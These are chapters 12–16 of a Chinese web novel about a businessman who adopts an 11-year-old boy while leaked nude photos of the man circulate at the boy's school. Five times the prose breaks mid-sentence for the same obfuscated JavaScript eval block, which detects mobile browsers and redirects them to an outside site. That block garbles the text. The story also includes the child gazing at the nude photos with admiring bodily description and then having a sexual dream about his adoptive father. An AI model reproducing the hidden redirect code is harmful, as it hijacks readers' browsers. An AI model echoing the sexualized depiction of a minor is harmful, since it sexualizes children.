还没等苏廷真从这个假设中得出任何结论,叶修明就缓缓开口:“苏小爸,大爸刚才偷偷给我说他准备了五周年纪念日的惊喜,我们吃完饭要早点回去了。” 傅西辞“切”了一声,“还是那个破助理周叙白?” “不是,我大爸叫……施方逸。”叶修明笑道,“你也算第一个知道苏小爸地下恋情的了。” 苏廷的心里五味杂陈地把叶修明狠狠盯到。 傅西辞放下那起泡酒,皮笑肉不笑地颔首:“那我要恭喜苏先生了。” 苏廷回眸朝他一笑,“谢谢你的酒,下回我让人送几箱过来还礼。” 傅西辞咬牙:“不必了,苏廷,你幸福就好。” 紧接着他说:“那些照片我都看过,我以为你很难走出来,但看到你能好好生活,我此生无憾了。” 这是叶修明第二次听见“照片”这回事,他正是心里藏不住事的年纪,脱口而出:“什么照片?苏小爸?” 苏廷紧锁着眉心,不知道这顿饭为什么会变成这样。 “我看的时候丝毫没有猥琐的想法,只是对你的过去有莫名的心疼,我想如果我曾和你在一起,是如论如何都不会让别人看到你裸-体的样子。” “傅西辞……”苏廷要脸,止住了他,“我儿子还在,能不能……”闭嘴。 “裸-体”这个词如同一枚炸弹在叶修明的大脑中震荡,将他的脑弦都崩碎了,苏廷竟然有这样的曾经吗?当这件事发生的时候,他会不会心碎至极,生出死念呢? 在谁人都没注意的地方,叶修明的双脚缠住了苏廷的,右手也覆上苏廷的。 暖意从触碰的地方朝苏廷袭来,但他知道,这样的场景还会发生无数回,那些无性繁殖的照片,在网络上是消灭不尽的。 他要做的,是延缓叶修明看到这些照片的时间,让他这位养父的面子存续的时间长一些。 傅西辞:“我没有要揭你伤疤的意思,只是想告诉你,如果你跟那位五年的先生分了手,永远可以回来找我。” 苏廷的脸上显现难以信服的神情,若与知晓并看过这些照片的人在一起,还没被当成玩物的话,那天地将颠倒过来。 傅西辞走后,叶修明小心翼翼地给苏廷倒酒,也不敢太大声音,害怕的事情很多,最害怕的当然还是自己知道了这么多秘密,这次又会被打发到哪里去呢。 回家的一路,苏廷与叶修明之间都被缄默填满,无人敢提及这场诡异的相遇,以及关于那些照片的过往,叶修明更是想都不敢想苏廷是在什么情境下被拍的那些照片。 是偷拍吗?是自愿吗? 拍照片的又是谁呢? 难道一向冷面冷心的苏廷,也曾有过刻骨铭心的爱恋吗? 这些,都令仅有十一岁的叶修明彷徨了。 回到家,叶修明无声地脱去大衣,接着非常懂事地接过苏廷的外套,挂在门口衣帽架上,他眸色沉静,说:“小爸,要给你放洗澡水吗?” 苏廷喜欢在压力繁重的时候泡澡,是叶修明总结出来的。 苏廷却说:“我累了,修明,你也早点睡吧。” 叶修明腾腾腾地跑到苏廷的衣帽间,给他拿出那套苏廷最喜欢的细纹睡衣,捧在手上,说:“给你睡衣。” “修明,你不用把我当成需要照顾的人,你还小,应该我来照顾你。” 苏廷的心思已不在这方寸大的地方,而在思索—— 他早就命人报警、起诉那些恶意传播照片的人,为什么这段时间知道的人却似乎越来越多了? 叶修明凝眸之间,突然道:“那你能帮我洗澡吗?” “你说什么?” “我想说……让别人看到裸-体没什么大不了的,如果真有人会戴有色眼镜,那是别人思想龌龊。” 苏廷捏捏眉心,“幸好你还在这,不然谁给我攒这么多笑话。” “我真是这么想的!” 苏廷:“我知道你确实是这么想的,但你是小朋友,小朋友的世界本就跟大人的世界有诸多不同,等你长大就知道,成人世界的规则没那么好玩,甚至有些恶心。” “小爸,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035955|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你想回到过去吗?” 这个问题,苏廷不是没有想过,但过去是由谎言和欺骗交织的,爱恨不过是微不足道的点缀,他即使能真正回去,也只是多了双警惕的眼睛,结局都那样。 “不想,过去没有意义。”苏廷的微笑如秋风过耳,却是满眼怜悯地看向没有希望的未来。 他的家里连一个绿植都没有,看起来了无生机,那就是他对未来的态度。 没有真心,没有爱,也没有希望。 所以当一个人,既不想回到过去,也不想迎接未来的时候,他就会像困兽一样驻足在没有温度的当下。 叶修明:“我想回去,问问我的妈妈,到底有什么苦衷必须要把我丢下。” 苏廷心想,都是可怜人啊。 第二天,门铃突兀、急促地响起,苏廷还在洗漱就听到了那惶急的铃声,他知道这自然不是性格温吞的周叙白能按出来的铃声,于是赶紧漱口,拧了把头发。 叶修明先他一步到了门前,小声问:“谁啊?” “是我,温言玉。” 温……温言玉? 温家那个不靠谱的二公子? 叶修明犹疑着打开一条门缝,他还没来得及好好看清楚,就被一阵蛮力使劲推开了门。 看清来人后,叶修明惊道:“怎么是你?” 温言玉定睛一看,也觉得叶修明有点眼熟,在头脑里翻找了半天,终于露出惊讶的神色,捂着嘴道:“你、你……你怎么在这?” 苏廷闻讯从二楼向下走,叶修明知道这就要瞒不住了,忙拉着温言玉的手向下躺去,随后,在苏廷即将要赶到的时候,叶修明立马抽搐了起来,边抽搐边冲温言玉挤眉弄眼:“你要是敢出卖我,我就找人弄死你。” 温言玉警铃大作,叶修明这是……在装羊癫疯? 苏廷看见叶修明已经有点不省人事了,赶紧过来摸了摸他的脉息和鼻息,确认暂时无大碍后,冷静地打电话叫救护车,温言玉的手则被死死抓住,无法抽身。 苏廷冷道:“你对他做了什么?” 12.第12章 青天大老爷的,他可什么都没做,叶修明是自己倒的。 可是从叶修明越抓越紧的手来看,他在苏廷这里显然是有难言之隐,出卖?难道不能对外说出他的身世? 这小兔崽子他以前见过几面,都是在双方大人都在的场合,当时温言玉只觉得叶修明有点奇异,别的小孩喜欢的玩具,叶修明一概漠视,还不给送礼物的人面子。 天知道自己在他这里吃了多少瘪。 说好的巴结,到最后全变成家里人对他的数落。 温言玉有点无语地看着苏廷,心想我还没问你叶家大少怎么到你这过苦日子,你倒质问起我来了。 但他也只好在叶修明的手劲下背上这口锅,说:“我就是吓了吓这小孩子,谁想到他这么不禁吓啊。” 说完他就在心里抽了自己一巴掌。 欠不欠哪。 苏廷还没追到,先把他看似宝贝的叶修明给弄晕了,以后他还怎么出手? 不过……如果叶修明就是那天听到的小孩声音,他大可不必担心苏廷的性向,他们和叶家还算沾亲带故,叶修明是怎么出生的他比谁都了解。 苏廷的好教养全都售罄了,想不到温家公子还有没事吓小屁孩的毛病。 救护车一到,苏廷就想抱着叶修明下楼,没想到叶修明一直死死拽着温言玉,他们也只好动作怪异地由温言玉横抱着他上车。 苏廷刚要抬腿也上救护车,就被人推了下来:“只能跟一名家属,剩下的自己赶过去吧。” 温言玉发誓,当时苏廷目送救护车离开的时候,眼神是能杀死人的。 不想,叶修明一上车,就装都懒得装了,他折身坐起,一把拉住温言玉的头发,“要想活命,就给我把嘴巴闭牢,听到没有?!” “叶少,你说的闭牢,是哪方面的啊,我听不懂。” “他还不知道我爸妈是谁。” “那你是怎么到苏廷这的?” 叶修明踌躇道:“他们不要我了。” 温言玉“啊?”了一声,“你说叶叔舍得把你扔掉?那他们是卷进多大的案子啊。” “呸,事情没有定论,你为什么这么说?” “其实关于你爸爸的流言蜚语很多,他跟郑云的关系也是众所周知的,郑云一倒台,那基本上是全军覆没啊。”温言玉心有余悸地说:“幸好我爸爸当年没听叶叔的。” 温言玉目色隐忧道:“但是非到不要孩子的地步吗。” 叶修明难过地低下头去。 “我不是说你不好,可能他们自有苦衷吧,哎,对了,苏廷真把你领养了?” 叶修明轻轻“嗯”了一声。 “他这也不好混吧。”温言玉不动声色地好奇问道。 “为什么这么说?” “苏廷,我还是很了解的,商场上手段了得,我妈还说过谁能得到苏廷这把刀,就能省下不少操心的事,有他在背后运作生意,就没有过不去的坎。” 叶修明心中一紧:“所以你追他,仅仅是为了找把好刀?” “也不能这么说吧,苏廷是把好刀不错,但也不是谁都能用的,用不好连自己的身家性命都要搭进去,所以我还是付出了真心的好吧,你是小屁孩,还不懂。”温言玉说。 “你的真心,不是用了很多次吗?” “这次不一样,我还从来没这么上心过,你也是知道我的,追人追到家里,你见过吗?” “我确实没见过这么不要脸的。”叶修明道。 “嘶——信不信我把你一脚踹进抢救室去。” 一旁的急救人员算是看出来他们在演戏了,停靠在路边,就把二人吆喝了下去,温言玉看到远远驶来的黑色迈凯伦,从叶修明的身后打了他一下:“既然有你在,那我追他也就方便很多,你要帮我哦修明,不然我肯定出卖你。” 苏廷急刹在他们侧边,开门焦急道:“救护车怎么把你们扔下了?” 温言玉打着哈哈,“啊……那个,小叶突然没事了。” 苏廷看了看叶修明:“你真的没事了?” 叶修明挤出一个转瞬即逝的笑容,“算是没事了吧。” “是他吓的你?” “没有,不是,我刚才有点低血糖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040205|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶修明笑道,“小爸,别担心了,我们回家吧。” 苏廷微微颔首,对温言玉道:“刚才谢谢你抱他下楼。” 温言玉:“光说谢可不行啊,怎么也得赏脸跟我吃顿饭吧,咱们约会一次怎么样?” 叶修明:“……” 苏廷的眉头不展:“我最近有些忙,等我找助理查清楚行程再回复你。而且,我下午要送修明上学去。” 叶修明满脸堆欢:“小爸,不用了,我自己认识路,你跟他约会去吧。” 温言玉心中暗美,给了叶修明一个赞许的眼神。 这下苏廷目光奇特地看了叶修明一眼,以为他傻掉了。 “真的,小爸,你快跟这位哥哥去吧,我回去收拾东西。” 事已至此,苏廷也不好再多加推脱,于是本来是用来挡刀的叶修明,此时竟成了别人的助攻,当苏廷满脸懵地坐在高档餐厅的落地窗前时,眼前的温言玉总让他有种恍然如梦的感觉。 “开胃酒你想点什么?”温言玉道。 “Cava,起泡。” 温言玉:“你最爱的Prosecco怎么不点,不用给我省钱啊。” 苏廷笑笑,他还真没想到那去。兀自给服务生点他的牛排:“肋眼3cm,Medium Rare,配第戎芥末酱。” “有没有经历过柏林墙倒塌的红酒。”温言玉笑道。 服务生:“有瓶8-9年的玛歌,确定要这瓶吗?” 温言玉微笑:“当然。” 此时,苏廷的手机震动,他用目光征询了温言玉的同意后,打开与周叙白的对话框。 ——校风不好,对新钱有歧视,小叶也在被排挤。 ——我们要做什么? 苏廷:[告诉他们,New money is real money] 温言玉见他收回手机,道:“下回带你喝黑桃A。” 那是黑金酒标之王,拍卖价格超过六位数。如果有人说带你喝黑桃A,那其实是给你一张权利游戏的入场券。 苏廷朗然:“那我就谢谢温公子了。” 13.第13章 叶修明回到学校后,度过了几天云淡风轻的日子。他依旧一个人做所有事情,还连轴当了一个月的值日生,这天,正当他整理桌肚里的习题时,邻班的阮林带着一帮跟班气势汹汹地闯了进来。 “喂,我们班的卫生你要不要也去打扫一下。” 叶修明嘲谑道:“想让你爷爷打扫卫生?” “你!你他妈的嘴巴干净点!知不知道他爸爸是阮书记?”跟班挑衅道。 叶修明从记忆里找到了龙城某个阮姓的书记,想到阮书记当他爸小跟班时畏畏缩缩的样子,难免有种风水轮流转的悲凉感。 可这种悲凉没有持续多久,就被蜂拥进来的同班同学打断了,他们说:“你们知道吗,叶修明的爸爸给咱们学校捐了栋教学楼,正在举行奠基仪式!” “叶修明,没想到深藏不漏啊。” “走吧,快去看看!” 说罢,叶修明就被这群人簇拥着来到学校的图书馆门口,那里搭了简易的舞台,而苏廷则与校长、校董们站成一排,手中还拿着剪彩用的大剪刀。 想必过了发言的时间,校报记者和其他媒体代表们举起单反,正在拍摄合影。他们面前的横幅则写着“修明楼奠基典礼”。 “修明……修明楼?这不就是叶修明的名字吗??” 人群中顿时爆发出一阵显眼包式的呐喊。 花几千万就为了给儿子冠个名? “叶修明的命也太好了吧……怎么我爸爸不给我捐栋楼呢?” “听说叶修明的爸爸为了赶工期在他生日那天竣工,不惜增加30%的成本。” “欸,他爸到底叫什么呀?” “听说叫苏廷,就是做房地产发家的。” 有眼疾手快的同学偷偷拍了几张他们的合影,以阮林为首的刺头自是百般不服,横挑鼻子竖挑眼,哪哪都看不过去。 “哼!走着瞧!” 许是苏廷的眼睛够尖,他几乎一眼就看到围观学生里面容清秀的叶修明,动作毫不拖泥带水地剪断横幅,与校长握手,微笑,再定定地穿过一片空旷,走到叶修明的面前。 像一道暖阳。 苏廷拉住叶修明的手道:“现在我也是校董的一员,如果还有人敢欺负你,记得给校长打电话。” “你怎么知道我被……” 叶修明可从来没说过自己被人欺凌过。 苏廷道:“只要我想调查,就没有不知道的事情。” “所有的事情吗?”叶修明探究地问。 苏廷轻轻“嗯”了一声,目光沿着他身后的同学转了一圈后,说:“那几个小鬼,想不想开除他们。” 叶修明的眼波暗涌,似是被他的提议吓到了,连忙摆手:“不用了,小爸,这是我们小孩子之间的事情,这点小事我一定能解决。” “好吧,”苏廷干脆道:“你开心就好。” 叶修明咬着下唇,突然眼泪汪汪地抬起头来。 “小爸,你破费了。” 苏廷面上一笑,心里也是舒坦的,“这周想去吃什么?我提前订好地方。” 叶修明:“我想吃你做的菜,可以吗?” 苏廷:“给你爸爸出难题。” 叶修明点头,又摇头,“咱们省点是点吧。” 摸他的手一顿,苏廷突然抑制不住地笑了起来,开玩笑道:“如果没有你,我到底该怎么办。” 叶修明脸红着说:“怎么会没我呢?我又不会到哪里去。” “好了好了,”苏廷该说的话都已说完,抬手看了眼手表,“我还有事,走了。” 他朝校长所在的方向颔首示意,就跟周叙白两人一前一后地离开校园。 “我还是不明白为什么非要给这学校花那么多钱,小叶在里面不是被欺负的那个吗?”周叙白上车就开始吐槽,觉得冤得慌。 “公司想要在未来上市,就要先把声势造出去,这样才会被资本圈的人注意到。”苏廷深呼一口气。 “你还没死心吗?现在照片满天飞,一旦公司上市,得到的关注就更多,到时候就不叫隐私泄露,而叫上市公司董事长的丑闻,是要影响股价的。”周叙白说的也有道理,但苏廷的心中已全无道理。 他就是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049898|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在五年前的那场废墟中开出夺目耀眼的花,并且还要敲锣打鼓地让世人知晓。 “道理谁都懂,但是谁会在乎呢?”苏廷说,“这么多年,我还是要经常面对那些看过我裸-体的人,你见我什么时候怯过场。” 苏廷的这一结论还是下得为时尚早。 叶修明的同学们在乎。 阮林可能通过父母的渠道知道了苏廷的过去,还从网上下载了一些照片拿到了班级里传阅,这消息很快就传到叶修明的班级,进而传遍了全学校—— 捐楼的阔佬有艳照。 而那些大尺度的照片,有一天竟然到了叶修明的手上。 阮林将照片扔到叶修明的桌上,怒目圆瞪:“看看你的好爸爸吧,在外面当鸭子呢。” 叶修明浑身都像被灼热的炭火烧穿,让他百爪挠心地疼。在那几张春色荡漾的照片里,苏廷一-丝不挂,优柔而润泽的皮肤透着红晕,肌肉的弧度也非常完美,线条明晰流畅,几乎找不出任何弱点。 隐私的部位被打着马赛克,若隐若现。 原来成年人的身体会这么好看。 也会这么令人羞耻。 这几张应该是动态视频截取下来的,因为如果蒙眼用心去体味,能感受到苏廷玉体轻摇的芳姿,透着一股迷人的芬芳。 噌的一下,叶修明心头火起,不顾校规,直奔着阮林冲过去,他双手扶着阮林的肩膀,用超绝的力气将他逼到墙角,死死地撞上去。 被偷袭的阮林顿时扬起腿,朝叶修明的大腿踢过去,他踢得毫无章法,毫不美观,地面扬了些尘土。 阮林突然全身发力,掐住叶修明的脖子,将他撂倒在地,旁边围观的同学无不惊呼。 “阮林,你轻一点!” “叶修明他也没做错什么啊!” 阮林开始出拳,拳拳都打在叶修明的脸上,边打边说:“让你爸当鸭子!你也是鸭子的孩子死鸭子!” 这时,一位清俊的小男孩上前拦在了阮林的拳头和叶修明之间,募地,他也被重拳击中。 “裴少!妈啊……裴少!对不起!” 14.第14章 来人正是几大富商裴氏的长子裴安,在金城拥有至高无上的话语权,所以是阮林这种虾兵蟹将惹不起也躲不起的。 而是他现如今竟然打了裴安?? 看来他老爸区委书记的职位是要打水漂了。 阮林连忙从叶修明的身上爬下来,恭恭敬敬地给裴安鞠了一躬,“裴少,小的有眼不识泰山……求你放过我吧。” 裴安容华淡伫,勾起一双桃花眼说:“那你刚才放过叶修明了吗?他没把你怎么样吧。” “可他的爸爸是鸭子!” 叶修明忿忿不平地跳起来:“你爸爸阮治国才是鸭子!” “你怎么知道我爸叫什么?”阮林鬼气森森地揪住他领子,“你他妈调查我!” “我还知道你以龙城市-委书记的阮大庆的儿子自居,其实你爸只是个区委书记!” “说!你怎么知道的?!” 平日里阮林的几个跟班顿时露出嫌弃的目光,心想他爸那个“书记”也就那么回事,不大值钱。 “阮林,你也太虚荣了吧,怎么能乱认爸爸呢?” “就是就是,叶修明他爸捐了栋楼你就拿艳照摸黑别人,你嫉妒得都要疯了吧。” “我看那些照片也是假的,叶爸看起来根本不是那种人。” “阮林,你为了达到自己恶心人的目的竟然还p图?!以后谁还敢跟你当同学啊。心太黑了!” 教导主任闻声也赶了过来,裴安安安静静地把事情的原委告诉了她,没想到这事对身为女性的教导主任冲击更大,哀其不争地对阮林说:“擅自在学校里传播别人的隐私,是严重违反校规的行为。阮林,你先停课等通知吧。” 就这样,阮林当天就被打包退了货。 据说阮书记赶到的时候,还坐着单位的公车,啤酒肚都快从腰带里露出来了,那可真叫一个有什么样的爹才有什么样的儿。 裴安课间又到叶修明所在的班级找他,看着他被教材挡住的照片,说:“你没事吧。” 这句话有点耳熟,让叶修明认认真真地看了他一眼。 “我没事,刚才谢谢你。”叶修明情绪不算高涨,甚至是难过的。 裴安:“我也没干什么啊,不过就是给教导主任说了实话而已。” 叶修明指着他被阮林打青的脸说:“你还挨了一拳。” “哪个男人不挂彩呢。”裴安说。 “他们那么怕你,等你爸妈知道了,这些人肯定不会好过吧。”叶修明说。 “阮林和他爸肯定是废了,其他人……你觉得该怎么办?我听你的。” 叶修明对这个问题无所适从了几秒钟。 他好像从来没有手握生杀大权的机会。 终于,他糯糯地说:“传我养父照片最凶的那几个,最好能让他们停课一个月,也好长点教训。” 裴安笑着点头:“我觉得你出的主意不错。” 课间的时间眼见就要结束了,裴安拍了拍叶修明的肩膀:“放心,我会让那些讨论你养父的人闭嘴。” 叶修明问:“为什么?为什么你要这么做?” “因为你是我的朋友。”裴安道,“不过,你是怎么知道阮林的爸爸只是个小官的?” 叶修明“呃”了一声,不知该怎么回答。 “好,”裴安用手指做出“嘘”的形状,“我替你保密就是了。” 当晚的自习结束后,叶修明用书夹着苏廷的那几张照片回到宿舍,躲在被子里,借着手机的光,想找到这些图片是p的证据。 然而看到最后,他不得不感叹这p图技术也太炉火纯青了。 单从苏廷低头的角度来看的话,眉峰应该更高,阴影应该更深才对,当细发垂下来时,也绝不会毫无弧度。 况且苏廷的表情充满享受,以叶修明对苏廷的理解,他何曾真正享受过什么? 一定不是,不可能是。 他就这样保持着怀疑的态度,直到昏沉沉地睡了过去,梦里看见苏小爸一会儿如银龙附体,翩翩飞舞,一会儿绮罗满盈,像是从画中走出的仙子。最后,他的裸- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054074|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体形若浮云地飘在礼堂的上空,成为别人供奉和敬仰的神物。 这时,他的下-身被黏糊糊的液体裹挟着,也成了参拜他养父的、虔诚的信徒。 清早,他被自己那种黏腻的触感快要逼疯了,等同宿舍的都去洗漱,他才不大情愿地从床上下来,看着床单上濡湿的一大片东西,表情像是生吃了苦瓜。 这件事情意味着什么,叶修明作为一个开始发育的男孩来说再清楚不过。 只是第一次梦-遗,非要梦见养父吗。 还是在看到那些照片的当天。 叶修明顿时觉得自己有点恶心,整个床单都被他扔在了垃圾桶里,当裴安在路上给他打招呼时,叶修明也有点恍惚,像是战场上自顾不暇、有性命之虞的小兵,每多走一步都是祸患。 “你怎么闷闷不乐的。”裴安说。 叶修明觉得脸颊很烫,他虽然身量还未到成年人的模样,却从心思上陷入了成人世界,说出去一定会被人嗤笑的。 但他恍惚归恍惚,人还算镇定,目视前方道:“还没睡醒而已。” “咱们还有一天就放假了,到时候要不要约着一起打游戏?你玩永劫无间吗,我的段位可都到修罗了。” 叶修明答非所问:“那恭喜你啊。” 裴安一把将他拦住,“等一下,你非常不对劲,是不是那个了?” 叶修明有些莫名其妙地看着他:“哪个?” “遗-精啊,这你都不知道?”裴安俏皮地一笑,“想不到你看起来高高大大的,发育比我还晚。” “喂,裴家的,这种事情是可以随便乱说的吗。” “哦对了,我忘了你只有养父,毕竟隔着一层,没有人给你科普这些东西。”裴安道,“可这个再正常不过了,你别放在心上。” “我对你一直嚷嚷着让别人知道倒比较介意,你声音能小一点吗祖宗。” 裴安有一副桃花人面,骨肉亭匀,在无数少爷小姐里也算灼人的,叶修明看了一会儿,心想不对,还是没人比苏廷好看。 15.第15章 他怎么又把苏廷跟好看联系在一起了?这样不好……非常不好,比体育老师教数学还要糟糕。 “喂,叶修明,这证明你已经是个大人了,高兴一点!” 看着裴安欢跳着走进他的教室后,叶修明终于长叹了口气。 这学校他是一天都待不下去了。 又是课间,他躲着裴安,在楼梯口打电话:“苏小爸,我能不寄宿了吗?” 苏廷当时正在江城出差,温言玉的玫瑰花又精准无匹地送到了他的酒店,他盯着温言玉的这束花,面上像吃了几年的官司,看来……还是要用好叶修明这个趁手的借口。 “好,我今晚就去学校接你。” 黑色迈凯伦停靠在学校正门,气质带着冰雪秉质的黑衣男人斜倚着车门,自带一身强大的派头。 有人认出了他。 “这不是苏廷吗?” “叶修明的养父?” “哇靠真的太帅了吧。” “说真的,其他的校董跟他站一起的时候不自卑吗?” 叶修明远远看见一袭黑衣的苏廷后,恍惚又回到昨天那个亦真亦幻的梦里,苏廷那玉骨出尘的艳态仿佛触手可及,想到这里,开始了没来由的心慌气短,眼神局促地给苏廷打了个招呼。 苏廷看起来心情大好,笑颜如画,与他平时的不苟言笑有着强烈的反差,叶修明虽然语无伦次,但还是把话说全了:“你……你高兴……什么?” “公司的IPO申请文件已经交给了证监会,接下来就是一起等好消息。”前段时间苏廷忙于尽职调查和股改的事,可谓是焦头烂额,现在一切就绪,就等揭锅出餐。 叶修明还是第一次听他聊起工作,也知道他每天疲于奔命,不知不觉就生出些不能为他分担的自责。 他说:“等我长大,就去帮你。” 苏廷由衷地笑了:“好,那你要快点长大。” 叶修明恨不得当场就冲破这身幼小的皮囊,把头发梳成大人的模样。 下一秒,苏廷就从大衣里摸出一颗海盐味的棒棒糖,递给叶修明:“随便买的,不知道你喜不喜欢。” 叶修明虽然嘴上嚷嚷着想长大,但身体还是诚实的小孩,他舔了舔下嘴唇,接过了棒棒糖,说:“以前我爸妈从来不让我吃糖的。” “那我是不是太纵容你了。” “如果可以的话,再纵容一点可以吗?”叶修明说。 当头的烈阳笼罩在两人身上,愈发光朗,风声飒飒之间,人声稀薄。 苏廷还没在除顾见清以外的人身上无限制地纵容过,听到这话,巨大的浪潮荡击在心里,让他几乎没有迟疑地说了声“好”。 这声“好”,混着昨晚的月影迷离,让叶修明的周遭蕴含着一团细柔的光亮。 足以照他向前。 不明不白的,叶修明还是想到了那些照片,还有那些照片背后可能发生的故事,苏廷是被胁迫的吗?还有很多人见过这些照片吗? 如果他是苏廷,能不能面对无数人看过他隐私部位的荒唐。 苏廷……他难过吗? 思绪一旦落入窠臼,就会深深地困在其中,让叶修明的七魂六魄都被不安的情绪所震荡,身体微微颤抖,想要用他弱小的身体安抚苏廷的灵魂。 他猛地扑入苏廷的怀中,汲取温度的同时,也在缓缓地拍打苏廷的后背。 苏廷被这突如其来的拥抱吓得一怔。 “你怎么了?同学又欺负你了?” 叶修明深埋的头慢慢抬起:“什么叫‘又’?我之前在学校被谁欺负过吗?” 苏廷觉得这小孩太聪明也不是什么好事,忙把他的头按回原位,“当我没说。” “你真是因为我被欺负,所以才捐了那栋楼。”叶修明用他无懈可击的逻辑思维想到了这一层,却不想话一出口,就让苏廷感到莫名的无地自容,仿佛他做的是件大错特错的事。 日色沉西,天幕昏黄。超豪华的跑车旁两个身影正在人来人往中相互依偎,苏廷恍然觉得无聊的岁暮里也忽然有了些期盼。 苏廷的眼前出现他在河边心痛欲裂的场景,当时枭鸟悲鸣,月光闪耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059397|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着浮薄的清辉,一切都仿佛是最好的模样,可彼时的他却想找块巨石砸向冰面,让人生就此有个了断。 而他不甘沉沦永夜、就这么死掉,于是苏廷带着敌人给的枷锁,冲出一番天地,并且视线可及的范围内,他还会更加所向无敌。 可他做的过最辉煌的事情,依然是带着同样肝肠寸断的叶修明回家。 破碎的人,总会再长出骨肉。 苏廷不置可否地摸了摸叶修明的头顶,神情有几不可察的宠溺,他说:“这不是你该操心的事情。” 不知不觉间,叶修明红了眼眶,泪水将落未落,心想:他明明都那么惨了,为什么还要对别人那么好。 “小爸,将来我一定好好孝敬你。” 苏廷没控制住,轻笑出声,“你这么一说,怎么显得我很老一样。” “没有……你不老。”叶修明指着同学们身旁清一色的中年人,“你跟他们不一样。” “为什么不一样?” 叶修明在心里说:因为他们都不会进到我的梦里。 “走吧,上回你说想吃我做的菜,我还真准备了不少。”苏廷给后座上的叶修明系好安全带,发动机怒吼之后,离开学校。 叶修明心中一暖,对着苏廷的后脑笑了笑。 “你们什么时候放寒假?” 叶修明想了想,说:“还有一周,1月28号放假。” 苏廷的肩膀猛地绷紧,问:“今天21号吗?” 叶修明看了眼手机,“嗯”了一声。 于是苏廷便不说话了,整个路上都沉默寡言,似乎回到了最初那种冷冰的状态,叶修明还以为自己做错了事,试探性地问道:“小爸,我这次期末一定好好发挥,争取拿几个第一回来。” 苏廷心不在焉地“哦”了一声。 “有没有竹笋,我想喝汤,苏小爸。”叶修明从驾驶位的正后方向中间挪动,意图看清楚苏廷的表情。 苏廷的侧脸线条也很紧绷,看起来像是遇到了让他五雷轰顶的事情。 到底是什么呢? 16.第16章 刚一回家,苏廷就兢兢业业地去厨房忙乎去了,他快速洗着甘蓝和几个胡萝卜,转头继续处理红屋牛排,在上面撒上海盐和胡椒,还加了些许的迷迭香,做这些的过程中眼神专注,动作机械,不像他曾说过的不常做饭的。 想必是在自谦。 叶修明在客厅做着作业,注意力却全被分到了厨房,等他听到“滋啦”的声响后,还是没忍住,走到苏廷的斜后方,定定地盯着牛排上焦褐色的脆壳,“小爸,快糊了。” 苏廷看了他一眼,这才把牛排翻了面。 突然,他说:“我之前说过,不需要你的成绩有多好,只要健康快乐地活着就可以了。” 叶修明的眸色转亮,低着头不好意思地挠挠脑袋。 晚餐的时候,两人都静默无言,只有刀叉切割磁盘的金石声,苏廷冷若冰霜地刷着推送新闻,叶修明则沉浸在美食的诱惑里,这顿饭可比什么Caos要好吃多了,连牛排旁的配菜他都吃了个精光。 苏廷吃完饭就去了卧室,很久都没有出来,他端着杯威士忌,取出斗柜里珍藏的罗马古币吊坠放在手里,怅然若失地盯着它不放。 这是顾见清给他的一周年纪念日礼物。 古币是做旧的黑金,浮雕着古希腊的大力神赫拉克勒斯。 当时顾见清曾说,苏廷你一定要像大力神一样战无不胜,攻克万难。 可谁也没想到,那个“万难”叫“顾见清”。 1月21日,恰巧是他们的周年纪念日,每年的这个时候,苏廷总会孤身买醉,然后在深重的酒意下沉湎于过去不放。 